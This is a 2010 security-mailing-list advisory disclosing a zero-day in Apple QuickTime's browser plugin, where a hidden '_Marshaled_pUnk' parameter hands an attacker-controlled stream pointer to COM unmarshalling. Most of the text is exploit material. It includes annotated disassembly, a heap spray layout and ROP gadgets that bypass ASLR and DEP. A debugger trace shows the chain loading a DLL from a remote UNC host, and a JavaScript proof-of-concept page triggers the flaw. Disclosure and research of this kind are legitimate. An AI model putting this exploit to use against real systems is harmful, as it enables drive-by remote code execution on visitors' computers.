BugTraq
[0day] Apple QuickTime "_Marshaled_pUnk" backdoor param arbitrary code execution Aug 30 2010 03:13PM
Reversemode (advisories reversemode com)

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HTML Version
http://www.reversemode.com/index.php?option=com_content&task=view&id=69&
Itemid=1
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The scenario would be as follows:

Victim prerequisites:

* Internet Explorer.
* XP,Vista,W7.
* Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older
versions not checked )

1. Victim is enticed into visiting, by any mean, a specially crafted
webpage.
2. Attacker's payload to be executed under the context of the browser.
3. Attacker calls his girlfriend to inform about the successful
exploitation, who indeed turns out to be very interested in the issue.
She demands more technical details.
4. Attacker wakes up.

Technical details

QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle
params received from where it is embedded, including HTML documents.

Let's take a look

.text:1000E330
.text:1000E330 ; =============== S U B R O U T I N E
=======================================
.text:1000E330
.text:1000E330
.text:1000E330 sub_1000E330 proc near ; DATA XREF:
.rdata:1002E0ECo
.text:1000E330 ; .rdata:1002E86Co
.text:1000E330
.text:1000E330 arg_0 = dword ptr 4
.text:1000E330 arg_4 = dword ptr 8
.text:1000E330 arg_8 = dword ptr 0Ch
.text:1000E330
.text:1000E330 push esi
.text:1000E331 mov esi, [esp+4+arg_0]
.text:1000E335 mov ecx, [esi+84h]
.text:1000E33B xor eax, eax
.text:1000E33D test ecx, ecx
.text:1000E33F jz short loc_1000E393
.text:1000E341 mov eax, [esp+4+arg_8]
.text:1000E345 mov edx, [esp+4+arg_4]
.text:1000E349 push eax
.text:1000E34A push edx
.text:1000E34B call sub_100031F0

Following the flow...

sub_10002980+27A
sub_10002980+27A loc_10002BFA: ; CODE XREF:
sub_10002980+266j
sub_10002980+27A ;
sub_10002980+272j
sub_10002980+27A push offset aType ; "type"
sub_10002980+27F push ebx ; lpString1
sub_10002980+280 call ebp ; lstrcmpiA
sub_10002980+282 test eax, eax
sub_10002980+284 jnz short loc_10002C22
sub_10002980+286 push edi ; lpString
sub_10002980+287 call ds:lstrlenA
sub_10002980+28D cmp eax, 104h
sub_10002980+292 jnb short loc_10002C22
sub_10002980+294 push edi ; lpString2
sub_10002980+295 lea edx, [esi+83Ch]
sub_10002980+29B push edx ; lpString1
sub_10002980+29C call ds:lstrcpyA
sub_10002980+2A2
sub_10002980+2A2 loc_10002C22: ; CODE XREF:
sub_10002980+284j
sub_10002980+2A2 ;
sub_10002980+292j
sub_10002980+2A2 push offset a_marshaled_pun ;
"_Marshaled_pUnk"
sub_10002980+2A7 push ebx ; lpString1
sub_10002980+2A8 call ebp ; lstrcmpiA
sub_10002980+2AA test eax, eax
sub_10002980+2AC jnz short loc_10002C4A
sub_10002980+2AE push edi
sub_10002980+2AF call sub_10001310 ; SIMPLE ASCII
NUMBERS TO LONG routine
sub_10002980+2B4 add esp, 4
sub_10002980+2B7 lea ecx, [esi+13B8h]
sub_10002980+2BD push ecx ; ppv
sub_10002980+2BE push offset iid ; iid
sub_10002980+2C3 push eax ; pStm
sub_10002980+2C4 call
ds:CoGetInterfaceAndReleaseStream ; WE HAVE A WINNER!!
sub_10002980+2CA
sub_10002980+2CA loc_10002C4A: ; CODE XREF:
sub_10002980+2ACj
sub_10002980+2CA push edi ; int

Oops! programming rules state that hidden properties should be prececed
by "_" so this property matches the requirement. It's time to google
"_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for
Quicktime does not even mention it. Weird.

What's is going on here?

QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within
object's attributes, if so, unmarshals it by converting the address from
its ascii representation into a numerical one ( sub_10001310 ). Then, it
uses the resulting pointer as pStm,"A pointer to the IStream interface
on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in
order to obtain the IUnknown pointer (pUnk from now on) of the
marshalled interface. This method is pretty common for sharing interface
pointers between threads within COM enabled scenarios ( e.g browsers +
plugins ).

So we are controlling an IStream pointer, which is good :)

However at this point the things didn't make sense for me. Despite of
the fact that a CPluginHost object's variable holds this pointer
(pPlugin+0x13b8), pUnk is never used,. According to the COM model, this
pointer shouldn't be used by any other thread. Why in the hell an apple
engineer implemented this? A conspiration between NSA, FSB and the
bloody Andorra's secret service may be possible but I think there must
be another explanation.

Back to the future

So I am downloading an older version of QTPlugin.ocx, which dates from
2004 (6.5.1.17), to try to explain an issue in 2010, cool.

Module: QTPlugin.ocx
.text:6670BE86 mov eax, [ebp+1480h ; pPlugin->pUnk ]
.text:6670BE8C cmp eax, edi
.text:6670BE8E jz short loc_6670BEF7
.text:6670BE90 lea edx, [esp+7Ch+pHandles]
.text:6670BE97 mov [esp+7Ch+pHandles], edi
.text:6670BE9E mov ecx, [eax]
.text:6670BEA0 push edx
.text:6670BEA1 push offset dword_667214C8 ;
IID_IViewObject
.text:6670BEA6 push eax
.text:6670BEA7 call dword ptr [ecx] ;
pUnk->QueryInterface(IID_IViewObject,pView)
.text:6670BEA9 test eax, eax
.text:6670BEAB jl short loc_6670BEF7
.text:6670BEAD mov edx, [esp+7Ch+arg_10]
.text:6670BEB4 push edi
.text:6670BEB5 push edi
.text:6670BEB6 mov eax, [esp+84h+pHandles]
.text:6670BEBD push edx
.text:6670BEBE mov edx, [esp+88h+arg_C]
.text:6670BEC5 mov ecx, [eax]
.text:6670BEC7 push edx
.text:6670BEC8 mov edx, [esp+8Ch+hdc]
.text:6670BECF push edx
.text:6670BED0 mov edx, [esp+90h+arg_4]
.text:6670BED7 push esi
.text:6670BED8 push edi
.text:6670BED9 push edi
.text:6670BEDA push 0FFFFFFFFh
.text:6670BEDC push edx
.text:6670BEDD push eax
.text:6670BEDE call dword ptr [ecx+0Ch] ;
pView->Draw(...)

Reversing this function we can see that, in certain cases, QTPlugin.ocx
could be instructed to draw contents onto an existing window instead of
creating a new one. Mistery solved.

However, although this functionality was removed in newer versions, the
param is still present. Why? I guess someone forgot to clean up the code .

Exploiting it

We are controlling the IStream Pointer passed to
CoGetInterfaceAndReleaseStream, at a certain point during the execution
flow of this function, an IStream method is going to be referenced.

ole32!wCoGetInterfaceAndReleaseStream -> ole32!CoUnmarshalInterface ->
ole32!ReadObjRef -> ole32!StRead < = p0wn!!

So all we need to do is emulate a fake IStream interface in memory. How?
aligned heap spray FTW!

This is how our sprayed block would look in memory

Heap Value
15220c20 15220c18 // Fake VTable pointer
15220c24 29527ae7 // gadget1 WindowsLiveLogin
15220c28 27582d63 // gadget2 msidcrl40.dll
15220c2c 15220d08 // pParam for LoadLibrary (DLL UNC PATH )
15220c30 15220cbc // -add ecx, 0A0h, mov eax, [ecx]...- gadget2
15220c34 15220cbc
15220c38 15220cbc
15220c3c 15220cbc
15220c40 15220cbc
15220c44 15220cbc
15220c48 15220cbc
15220c4c 15220cbc
15220c50 15220cbc
15220c54 15220cbc
15220c58 15220cbc
15220c5c 15220cbc
15220c60 15220cbc
15220c64 15220cbc
15220c68 15220cbc
[...]
15220c98 15220cbc
15220c9c 15220cbc
15220ca0 15220cbc
15220ca4 15220cbc
15220ca8 15220cbc
15220cac 15220cbc
15220cb0 15220cbc
15220cb4 15220cbc
15220cb8 15220cbc
15220cbc 15220cbc
15220cc0 15220cbc
15220cc4 15220cbc
15220cc8 295481e8
15220ccc 295481e8 // LoadLibraryA
15220cd0 295481e8
15220cd4 295481e8
15220cd8 295481e8
15220cdc 295481e8
15220ce0 295481e8
15220ce4 295481e8
15220ce8 295481e8
15220cec 295481e8
15220cf0 295481e8
15220cf4 295481e8
15220cf8 295481e8
15220cfc 295481e8
15220d00 295481e8
15220d04 295481e8
15220d08 70785c5c // DLL UNC PATH "\\xpl8.nu\1"
15220d0c 6e2e386c
15220d10 00315c75

Data is sprayed in such a manner we know that, despite of ASLR, at
0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.

As you can see a couple of gadgets are used, since this is a ROP
exploit, however esp is not controlled at all. I'm taking advantage of
common code generated by c++ compilers to control parameters and execution.

The gadgets come from Windows Live messenger dlls that are loaded by
default on IE and have no ASLR flag.

0x29527AE7 WindowsLiveLogin.dll gadget1

mov edx, [esi+0Ch]
mov eax, [esi+8]
push edi
push offset dword_29501B68
push edx
call eax

0x27582D63 msidcrl40.dll gadget2

add ecx, 0A0h
mov eax, [ecx]
mov eax, [eax+10h]
pop ebp
jmp eax

stepping into the payload

ole32!StRead+0x15:
75c9af58 ff510c call dword ptr [ecx+0Ch]
ds:0023:15220c24=29527ae7
0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20
edi=02c139d0
eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x937:
29527ae7 8b560c mov edx,dword ptr [esi+0Ch]
ds:0023:15220c2c=15220d08

0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527aea esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93a:
29527aea 8b4608 mov eax,dword ptr [esi+8]
ds:0023:15220c28=27582d63

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527aed esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93d:
29527aed 57 push edi

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527aee esp=02c13948 ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93e:
29527aee 68681b5029 push offset WindowsLiveLogin+0x1b68 (29501b68)

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x943:
29527af3 52 push edx

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x944:
29527af4 ffd0 call eax {msidcrl40!EnumerateDeviceID+0xa113
(27582d63)}

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na
po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000202
msidcrl40!EnumerateDeviceID+0xa113:
27582d63 81c1a0000000 add ecx,0A0h

0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na
pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa119:
27582d69 8b01 mov eax,dword ptr [ecx]
ds:0023:15220cb8=15220cbc

0:004> t
eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na
pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa11b:
27582d6b 8b4010 mov eax,dword ptr [eax+10h]
ds:0023:15220ccc=295481e8

0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na
pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa11e:
27582d6e 5d pop ebp

0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na
pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
msidcrl40!EnumerateDeviceID+0xa11f:
27582d6f ffe0 jmp eax
{WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)}

0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20
edi=02c139d0
eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na
pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
WindowsLiveLogin!DllUnregisterServer+0x1f588:
295481e8 ff15f8105029 call dword ptr [WindowsLiveLogin+0x10f8
(295010f8)]
ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)}

0:004> db poi(esp)
15220d08 5c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00
\\xpl8.nu\1..... p0wn!!

Unfortunately, due to DLL Hijacking fiasco workaround, a LoadLibrary+UNC
payload seems not very dangerous...isn't it? ;)

The exploit defeats ASLR+DEP and has been successfully tested on W7,
Vista and XP.

A metasploit module should be available soon since I sent the exploit
details to Josuah Drake some days before releasing this advisory.
PoC:

addr = 354552864; // 0x15220C20 [pUnk]
var obj= '<' + 'object
classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0"
height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';

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